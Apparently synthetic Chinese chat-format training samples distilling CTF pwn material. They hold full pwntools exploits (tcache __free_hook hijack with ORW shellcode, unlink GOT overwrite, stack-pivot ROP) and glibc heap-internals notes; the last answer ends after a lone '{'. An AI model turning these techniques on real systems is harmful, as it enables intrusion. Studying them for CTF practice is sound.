[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 根据 `Heap/tcache attack/2025das rcms` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。

[Assistant]
## 题目路径
`Heap/tcache attack/2025das rcms`

## Writeup 蒸馏
## 题目分析

### 静态分析

加了沙箱，并申请了一个0x20大小的chunk，并将gift的地址赋值给了这个chunk。

[图片: image-20260322003108366]

gift 函数中给了执行 shellcode 的机会。

[图片: image-20260322003206488]

create函数中限制申请 0x430 大小的堆块，并且最多申请 20 个堆块。

[图片: image-20260322003721906]

delet 函数存在 uaf 漏洞，程序 libc 版本存在 tcache 可以通过 uaf 漏洞打 tcache。

[图片: image-20260322003310913]

再看一下沙箱：

禁掉了 execve，也就是要我们 orw。

```
❯ seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x02 0xc000003e  if (A != ARCH_X86_64) goto 0004
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
```

### 动态调试

gdb 调试可以看到 chunk 中存放的 gift 函数地址。

[图片: image-20260322003542011]

## 利用思路

思路：

- uaf泄露libc地址
- 泄露堆地址，利用泄露出来的堆地址计算出gift函数地址，绕过pie保护
- tcachebin attack修改fd指针，指向 free_hook指针；
- 劫持__free_hook为gift。
- 调用delet函数时会执行gift。
- 构造orw shellcode，读出flag。

```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('pwn')
io=process(elf.path)
libc=ELF("/tools/binary/pwn/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6")
context(os=elf.os, arch=elf.arch, log_level='debug')
context.terminal = ['cmd.exe', '/c', 'start', '""', 'wt.exe', 'wsl', '-e', 'bash', '-lc']

def choice(c):
    io.recvuntil('5.exit')
    io.sendline(str(c))

def add(index,size,cmd):
    choice(1)
    io.recvuntil(':')
    io.sendline(str(index))
    io.recvuntil(':')
    io.sendline(str(size))
    io.recvuntil(':')
    io.send(cmd)

def delet(index):
    choice(2)
    io.recvuntil(':')
    io.sendline(str(index))

def change(index,cmd):
    choice(3)
    io.recvuntil(':')
    io.sendline(str(index))
    io.recvuntil(':')
    io.send(cmd)

def show(index):
    choice(4)
    io.recvuntil(':')
    io.sendline(str(index))

add(0,0x420,'AA')
add(1,0x60,'BB')
add(2,0x60,'CC')
add(3,0x60,'DD')

delet(0)

add(4,0x420,'A')

show(4)
libc_addr = u64(io.recvuntil(b'\x7f').ljust(8,b'\x00')) >> 8
libc_base = libc_addr - 0x3ebc41
free_hook = libc_base + libc.sym['__free_hook']

delet(1)
delet(2)

show(2)

io.recvline()
heap_addr = u64(io.recv(6).ljust(8,b'\x00'))

success('heap_addr = '+hex(heap_addr))
target_addr = heap_addr - 0x1470
success('target_addr = '+hex(target_addr))

change(2,p64(target_addr))

add(5,0x60,'QQQ')

add(6,0x60,'\n')

show(6)

io.recvline()
elf_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('elf_addr = '+hex(elf_addr))
gift_addr = elf_addr + 0xce
success('gift_addr = '+hex(gift_addr))

delet(5)

change(5,p64(free_hook))

add(7,0x60,'A')
add(8,0x60,p64(gift_addr))

delet(7)

ru('?')

shellcode = '''
mov r15, 0x67616c662f2e
push r15
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
mov r14, 3
mov rdi, r14
mov rsi, rsp
mov rdx, 0xff
mov rax, 0
syscall
mov rdi,1
mov rsi, rsp
mov rdx, 0x30
mov rax, 1
syscall
'''

sl(asm(shellcode))

ia()
```

## Exploit 关键代码
### Heap/tcache attack/2025das rcms/exp.py
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('pwn')
io=process(elf.path)
libc=ELF("/tools/binary/pwn/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6")
context(os=elf.os, arch=elf.arch, log_level='debug')
context.terminal = ['cmd.exe', '/c', 'start', '""', 'wt.exe', 'wsl', '-e', 'bash', '-lc']

def choice(c):
    io.recvuntil('5.exit')
    io.sendline(str(c))

def add(index,size,cmd):
    choice(1)
    io.recvuntil(':')
    io.sendline(str(index))
    io.recvuntil(':')
    io.sendline(str(size))
    io.recvuntil(':')
    io.send(cmd)

def delet(index):
    choice(2)
    io.recvuntil(':')
    io.sendline(str(index))

def change(index,cmd):
    choice(3)
    io.recvuntil(':')
    io.sendline(str(index))
    io.recvuntil(':')
    io.send(cmd)

def show(index):
    choice(4)
    io.recvuntil(':')

# ... 中间内容省略，保留关键利用片段 ...

show(4)
free_hook = libc_base + libc.sym['__free_hook']
show(2)
show(6)
change(5,p64(free_hook))
shellcode = '''
sl(asm(shellcode))
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「Verification」。
资料来源：Heap/2024ylb-ezheap/writeup.md；主题：2024ylb-ezheap；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## Verification

```text
$ ./exp.py
[+] leak      = 0x7bdffc421be0
[+] libc_base = 0x7bdffc235000
[+] __free_hook = 0x7bdffc423e48
[+] system    = 0x7bdffc287290
[*] Switching to interactive mode
[FLAG_REDACTED]
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「malloc_par」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### malloc_par

在 ptmalloc 中使用`malloc_par`结构体来记录堆管理器的相关参数，该结构体定义于`malloc.c`中，如下：

+ 2.23

```c
struct malloc_par
{
  /* Tunable parameters */
  unsigned long trim_threshold;
  INTERNAL_SIZE_T top_pad;
  INTERNAL_SIZE_T mmap_threshold;
  INTERNAL_SIZE_T arena_test;
  INTERNAL_SIZE_T arena_max;

  /* Memory map support */
  int n_mmaps;
  int n_mmaps_max;
  int max_n_mmaps;
  /* the mmap_threshold is dynamic, until the user sets
     it manually, at which point we need to disable any
     dynamic behavior. */
  int no_dyn_threshold;

  /* Statistics */
  INTERNAL_SIZE_T mmapped_mem;
  /*INTERNAL_SIZE_T  sbrked_mem;*/
  /*INTERNAL_SIZE_T  max_sbrked_mem;*/
  INTERNAL_SIZE_T max_mmapped_mem;
  INTERNAL_SIZE_T max_total_mem;  /* only kept for NO_THREADS */

  /* First address handed out by MORECORE/sbrk.  */
  char *sbrk_base;
};
```

+ 2.27

```c
struct malloc_par
{
  /* Tunable parameters */
  unsigned long trim_threshold;
  INTERNAL_SIZE_T top_pad;
  INTERNAL_SIZE_T mmap_threshold;
  INTERNAL_SIZE_T arena_test;
  INTERNAL_SIZE_T arena_max;

  /* Memory map support */
  int n_mmaps;
  int n_mmaps_max;
  int max_n_mmaps;
  /* the mmap_threshold is dynamic, until the user sets
     it manually, at which point we need to disable any
     dynamic behavior. */
  int no_dyn_threshold;

  /* Statistics */
  INTERNAL_SIZE_T mmapped_mem;
  INTERNAL_SIZE_T max_mmapped_mem;

  /* First address handed out by MORECORE/sbrk.  */
  char *sbrk_base;

#if USE_TCACHE
  /* Maximum number of buckets to use.  */
  size_t tcache_bins;
  size_t tcache_max_bytes;
  /* Maximum number of chunks in each bucket.  */
  size_t tcache_count;
  /* Maximum number of chunks to remove from the unsorted list, which
     aren't used to prefill the cache.  */
  size_t tcache_unsorted_limit;
#endif
};
```

`malloc_par`结构体定义了和`mmap`和`arena`相关的一些参数，以及`sbrk`的基址，其中重要的参数解释如下：

+ `top_pad`：初始化或扩展堆的时候需要多申请的内存大小。
+ `mmap_threshold`：决定`sysmalloc`是通过`mmap`或`sbrk`分配内存的界限，即如果申请的内存大小不小于该值则采用`mmap`分配，否则采用`sbrk`扩展`heap`区域分配。并且这个值是动态调整的，如果释放的内存是通过`mmap`得到的则`mmap_threshold`与该内存大小取`max`。并且`mmap_threshold`最大不能超过`DEFAULT_MMAP_THRESHOLD_MAX`，即 0x2000000。
+ `trim_threshold`：用于`main_arena`中保留内存量的控制。当释放的`chunk`为`mmap`获得的，同时大小大于`mmap_threshold`，则除了更新`mmap_threshold`外还会将`trim_threshold`乘2。当释放的`chunk`大小不在`fast bin`范围合并完`size`大于`FASTBIN_CONSOLIDATION_THRESHOLD`即0x10000，会根据该字段缩小`top chunk`。
+ `n_mmaps`：`mmap`的内存数量，即 ptmalloc 每次成功`mmap`则`n_mmpas`加 1，ptmalloc 每次成功`munmap`则`n_mmaps`减1。
+ `n_mmaps_max`：`n_mmaps`的上限，即最多能`mmap`的内存数量。
+ `max_n_mmaps`：`n_mmaps`达到过的最大值。
+ `mmapped_mem`：当前`mmap`的内存大小总和。
+ `max_mmapped_mem`：`mmap`的内存大小总和达到过的最大值。
+ `sbrk_base`：表示通过`brk`系统调用申请的`heap`区域的起始地址。
+ `no_dyn_threshold`：表示是否禁用`heap`动态调整保留内存的大小，默认为0。

该结构体类型的实例`mp_`用以记录 ptmalloc 相关参数，同样定义于`malloc.h`中，如下：

+ 2.23

```c
/* There is only one instance of the malloc parameters.  */

static struct malloc_par mp_ =
{
  .top_pad = DEFAULT_TOP_PAD,
  .n_mmaps_max = DEFAULT_MMAP_MAX,
  .mmap_threshold = DEFAULT_MMAP_THRESHOLD,
  .trim_threshold = DEFAULT_TRIM_THRESHOLD,
#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))
  .arena_test = NARENAS_FROM_NCORES (1)
};
```

+ 2.27

```c
static struct malloc_par mp_ =
{
  .top_pad = DEFAULT_TOP_PAD,
  .n_mmaps_max = DEFAULT_MMAP_MAX,
  .mmap_threshold = DEFAULT_MMAP_THRESHOLD,
  .trim_threshold = DEFAULT_TRIM_THRESHOLD,
#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))
  .arena_test = NARENAS_FROM_NCORES (1)
#if USE_TCACHE
  ,
  .tcache_count = TCACHE_FILL_COUNT,
  .tcache_bins = TCACHE_MAX_BINS,
  .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),
  .tcache_unsorted_limit = 0 /* No limit.  */
#endif
};
```

在 gdb 调试时我们可以通过`p mp_`命令查看该实例值。

或者可以通过`display mp_`命令来动态查看所有`malloc_par`字段的值


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「原理」。
资料来源：stack.md；主题：栈利用；分类：stack。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 原理

在 BROP 中，基本的遵循的思路如下

- **判断栈溢出长度**

直接从 1 开始暴力枚举，直到发现程序崩溃。

因为如果程序崩溃必然是栈上的返回地址被覆盖导致程序返回错误。

所以我们通过崩溃时枚举的长度就可以得出缓冲区的长度。

即：缓冲区长度 = 崩溃长度 - 1

- **Stack Reading**

这是目前经典的栈布局

```
buffer|canary|ebp|return address
```

通过逐字节爆破来获取`canary`的值， 每个字节最多有 256 种可能，所以在 32 位的情况下，我们最多需要爆破 1024 次，64 位最多爆破 2048 次。

这里我们可以进行爆破的前提条件是攻击条件 2，即使程序崩溃也不会产生任何变化。

- **Blind ROP**

我们需要进行 ROP，就必须有操作函数参数的 gadget。

所以接下来我们需要寻找足够多的 gadget，一般在可执行文件中都会存在`libc_csu_init`函数，所以我们可以使用`libc_csu_init`结尾的一段 gadgets 来实现。

所以接下来只需要找`libc_csu_init`中的 gadgets，然后再找`plt`即可。

- **找 gadgets**

查找 gadgets，我们可以分为两步：

1. 寻找 stop gadget

当执行这一段代码时，程序正确返回不崩溃。一般为`_start`或`main`函数的地址。

1. 识别 gadgets

`libc_csu_init`中的 gadgets 可以进行 6 次`pop`，我们查找可以通过从程序起始地址开始遍历（如：64程序起始地址为0x400000），找到可以正确从栈中弹出数据6次的地址。

在 brop 中，我们一般称它为 brop_gadgets。

- **找 PLT**

找到了 gadgets 以后，我们只需要根据函数功能，再去遍历地址，找到能够实现这个功能的地址就找到了这个函数的`PLT`表地址。

比如：`payload = 'a'*72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)`

如果能够把`0x400000`的内容给输出来就可以找到`put@plt`了

- Build the exploit
  - 利用输出函数来 dump 出程序以便于来找到更多的 gadgets，从而可以写出最后的 exp。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「例题 hitcontraining_unlink」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 例题 hitcontraining_unlink
在使用 unlink 的攻击手法时，需要的就是可以进行 chunk 合并。

+ 分析

首先查保护，   没有 PIE 保护。

```plain
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3ff000)
    Stripped:   No
```

之后 ida 分析代码逻辑

主函数

首先`malloc`了`0x10`，即`0x20`大小的chunk。

其中`v4`是是存储输出字符串的指针数组。

`menu`函数用于输出提示菜单。

`read`函数读取内容，然后通过`atoi`函数转换进行选择。

接下来我们进行选择的函数进行分析。

```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
  void (**v4)(void); // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v4 = malloc(0x10uLL);
  *v4 = hello_message;
  v4[1] = goodbye_message;
  (*v4)();
  while ( 1 )
  {
    menu();
    read(0, buf, 8uLL);
    switch ( atoi(buf) )
    {
      case 1:
        show_item();
        break;
      case 2:
        add_item();
        break;
      case 3:
        change_item();
        break;
      case 4:
        remove_item();
        break;
      case 5:
        v4[1]();
        exit(0);
      default:
        puts("invaild choice!!!");
        break;
    }
  }
}
```

首先是`show_item`函数

```c
int show_item()
{
  int i; // [rsp+Ch] [rbp-4h]

  if ( !num )
    return puts("No item in the box");
  for ( i = 0; i <= 99; ++i )
  {
    if ( *(&unk_6020C8 + 2 * i) )
      printf("%d : %s", i, *(&unk_6020C8 + 2 * i));
  }
  return puts(byte_401089);
}
```

`add_item`函数

如果`num`函数大于 99 则退出。

```c
__int64 add_item()
{
  int i; // [rsp+4h] [rbp-1Ch]
  int v2; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( num > 99 )
  {
    puts("the box is full");
  }
  else
  {
    printf("Please enter the length of item name:");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    if ( !v2 )
    {
      puts("invaild length");
      return 0LL;
    }
    for ( i = 0; i <= 99; ++i )
    {
      if ( !*(&unk_6020C8 + 2 * i) )
      {
        *(&itemlist + 4 * i) = v2;
        *(&unk_6020C8 + 2 * i) = malloc(v2);
        printf("Please enter the name of item:");
        *(*(&unk_6020C8 + 2 * i) + read(0, *(&unk_6020C8 + 2 * i), v2)) = 0;
        ++num;
        return 0LL;
      }
    }
  }
  return 0LL;
}
```

+ exp

```python
#!/usr/bin/env python3
from pwn import *

def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('bamboobox.bamboobox')
io = process([elf.path])
context(os=elf.os, arch=elf.arch, log_level='debug')
libc=ELF("/glibc/2.23/amd64/lib/libc.so.6")

def add(length,name):
    ru(':')
    sl('2')
    ru(':')
    sl(str(length))
    ru(':')
    sl(name)

def edit(idx,length,name):
    ru(':')
    sl('3')
    ru(":")
    sl(str(idx))
    ru(":")
    sl(str(length))
    ru(":")
    sl(name)

def delete(idx):
    ru(":")
    sl("4")
    ru(":")
    sl(str(idx))

def show():
    ru(":")
    sl(b"1")

#dbg()

add(0x40,'aaaaaaaa')
add(0x80,'bbbbbbbb')
add(0x80,'cccccccc')

ptr = 0x6020C8  #存放chunk指针的数组在bss段上的地址

#这里我们绕过第一个检查 (检查p和其前后的chunk是否构成双向链表)
#伪造的fake_chunk为free状态
fake_chunk = p64(0) + p64(0x41)  #fake_chunk header
fake_chunk += p64(ptr-0x18) + p64(ptr-0x10) #fake_chunk fd  bk
fake_chunk += b'C'*0x20

#覆盖后一个chunk的prev_size和size
#让它的prev_size表示前一个chunk的大小，并且chunk的size改为0x90让其不会释放进入fastbins
fake_chunk += p64(0x40) # 1的presize
fake_chunk += p64(0x90) # 1的size

#进行堆溢出
edit(0,0x80,fake_chunk)
#释放掉chunk1，进行合并
delete(1)  #前向合并，合并0中的fake_chunk  放入 unsorted bin 中 ,同时 ptr = &itemlist0_ptr -0x18
payload = p64(0)*2 + p64(0x40) + p64(elf.got['atoi']) #覆盖的itemlist[0]->ptr 为atoi_got
edit(0,0x80,payload)

show()

ru('0 : ')
atoi = uu64()
libc_base = atoi - libc.sym['atoi']
lg("libc_base",libc_base)
system,sh = get_sb()

#将itemlist[0]即atoi函数的got表修改为system
#通过编辑通过编辑got表指针，实现任意地址写
edit(0,8,p64(system))
#然后通过atoi进行getshell
sla('Your choice:','/bin/sh\x00')

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「arena」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### arena

大部分情况下对于每个线程而言其都会单独有着一个`arena`实例用以管理属于该线程的堆内存区域。

`ptmalloc`内部的内存池是由`malloc_state`结构体进行定义的，即`arena`本身便为`malloc_state`的一个实例对象。

`malloc_state`结构体定义于`malloc.c`中，代码如下：

```c
struct malloc_state
{
  /* Serialize access.  */
  mutex_t mutex;

  /* Flags (formerly in max_fast).  */
  int flags;

  /* Fastbins */
  //NFASTBINS宏用于计算fastbin数组的大小
  //#define NFASTBINS (fastbin_index(request2size(MAX_FAST_SIZE)) + 1)

  //MAX_FAST_SIZE是glibc中定义的最大fastbin大小，通常为一个常量
  //#define MAX_FAST_SIZE     (80 * SIZE_SZ / 4)
  //64位下为160,32位为80

  //首先通过request2size将申请的内存大小转化为合适的chunk大小
  /*#define request2size(req) \
  (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)  ? \
   MINSIZE : \
   ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
   */

  //64位结果为172，32位结果为84
  //然后通过fastbin_index计算chunk size对应的fastbin索引
  //32位结果为9，64位结果也为9

  //实际上fastbinY数组的大小是10，这是因为额外保留了一个位置用于其它特殊目的
  mfastbinptr fastbinsY[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;

  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;

  /* Normal bins packed as described above */
  //NBINS是一个宏定义，值为128
  //bins[254]
  mchunkptr bins[NBINS * 2 - 2];

  /* Bitmap of bins */
  //BINMAPSIZE (NBINS / BITSPERMAP)
  //结果为4
  unsigned int binmap[BINMAPSIZE];

  /* Linked list */
  //指向下一个arena
  struct malloc_state *next;

  /* Linked list for free arenas.  Access to this field is serialized
     by free_list_lock in arena.c.  */
  //指向下一个空闲内存区域的指针
  struct malloc_state *next_free;

  /* Number of threads attached to this arena.  0 if the arena is on
     the free list.  Access to this field is serialized by
     free_list_lock in arena.c.  */
  //在多线程内存管理中，记录当前有多少个线程与特定的arena相关联
  INTERNAL_SIZE_T attached_threads;

  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};
```

+ 2.27

```c
__libc_lock_define (, mutex);

/* Flags (formerly in max_fast).  */
int flags;

/* Set if the fastbin chunks contain recently inserted free blocks.  */
/* Note this is a bool but not all targets support atomics on booleans.  */
int have_fastchunks;
```

`malloc_state`结构体的成员如下：

+ `mutex`：`mutex`变量即为多线程互斥锁，用以保证线程安全。
+ `flags`：标志位，用以表示`arena`的一些状态，如：是否有`fastbin`、内存是否连续等。
+ `fastbinY`：存放 fastbin chunk的数组，一共有10个fastbin chunk。
+ `top`：指向`Top chunk`的指针。
+ `last_remainder`：`chunk`切割中的剩余部分。`malloc`在分配`chunk`时若是没找到`size`合适的`chunk`而是找到了一个`size`更大的`chunk`，则会从大`chunk`中切割掉一块返回给用户，剩下的那一块便是`last_remainder`，其随后会被放入`unsorted bin`中。
+ `bins`：存放闲置`chunk`的数组。`bins`包括`large bin`，`small bin`和`unsorted bin`。
+ `binmap`：记录`bin`是否为空的`bitset`。需要注意的是`chunk`被取出后若一个`bin`空了并不会立即被置0，而会在下一次遍历到时重新置位。
+ `system_mem`：记录当前`arena`在堆区中所分配到的内存的总大小。
+ `max_system_mem`：当操作系统予进程以内存时，`system_mem`会随之增大，当内存被返还给操作系统时，`system_mem`会随之减小，`max_system_mem`变量便是用来记录在这个过程中`system_mem`的峰值。

在gdb调试中我们可以通过`p &main_arena`来查看`main arena`

`main_arena`为一个定义于`malloc.c`中的静态的`malloc_state`结构体。

```c
/* There are several instances of this struct ("arenas") in this
   malloc.  If you are adapting this malloc in a way that does NOT use
   a static or mmapped malloc_state, you MUST explicitly zero-fill it
   before using. This malloc relies on the property that malloc_state
   is initialized to all zeroes (as is true of C statics).  */

static struct malloc_state main_arena =
{
  .mutex = _LIBC_LOCK_INITIALIZER,
  .next = &main_arena,
  .attached_threads = 1
};
```

由于其为 libc 中的静态变量，该`arena`会随着 libc 文件一同加载到 Memory Mapping Segment。因此在堆题中通常通过泄露`arena`的地址以获得 libc 在内存中的基地址。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/花式栈/2018 安恒 over/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/花式栈/2018 安恒 over/exp.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `dbg`
- `get_sb`

关键常量/偏移样例：
`0x400676`, `0x4006be`, `0x400793`, `0x0000000000400509`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def get_sb():
    return libc.address + libc.sym['system'], libc.address + next(libc.search(b'/bin/sh\x00'))

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('over')
io = process([elf.path])
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
#libc = ELF('/buu/64/libc-2.23.so')
context(os=elf.os, arch=elf.arch, log_level='debug')
dbg()

#泄露rbp
payload = b'a' * 0x50
r()
s(payload)

rbp_addr =  u64(ru(b"\n")[-7:-1] + b'\x00\x00')
lg("rbp",rbp_addr)

#gadget
pop_rdi = 0x400793
puts_got = elf.got.puts
puts_plt = elf.plt.puts
ret=0x0000000000400509
vuln = 0x400676
leave_ret = 0x4006be
pause()

#前面填充的"a"是因为程序并不会执行它
#这里的0x70是因为
payload=b"a"*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)+b"a"*40+p64(rbp_addr-0x70)+p64(leave_ret)

s(payload)

libc.address = l64()-libc.sym.puts
lg("libc base",libc.address)
sys = libc.sym.system
sh = next(libc.search(b"/bin/sh\x00"))
lg("system",sys)
lg("sh",sh)

payload = b"a"*8 + p64(pop_rdi)+ p64(sh)+p64(ret)+ p64(sys) + p64(vuln) + b"a"*32 + p64(rbp_addr-0x70-0x30) + p64(leave_ret)

s(payload)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「malloc_hook」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### malloc_hook

如果 hook 有内容，那么执行hook的内容。

```c
void *
__libc_malloc (size_t bytes)
{
  mstate ar_ptr;
  void *victim;

  void *(*hook) (size_t, const void *)
    = atomic_forced_read (__malloc_hook);
  if (__builtin_expect (hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS (0));
```

gdb 调试查看一下，查看`__malloc_hook`地址。

p &__malloc_hook

然后通过`tel`查看地址上是否有内容，可以看到地址内容为空。

如果这个地址内容是一个函数比如`system`，那么调用`malloc`函数就会执行`system`函数。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「全文」。
资料来源：Kernel/CVE-2026-53362_lts/metadata.json；主题：metadata；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
{
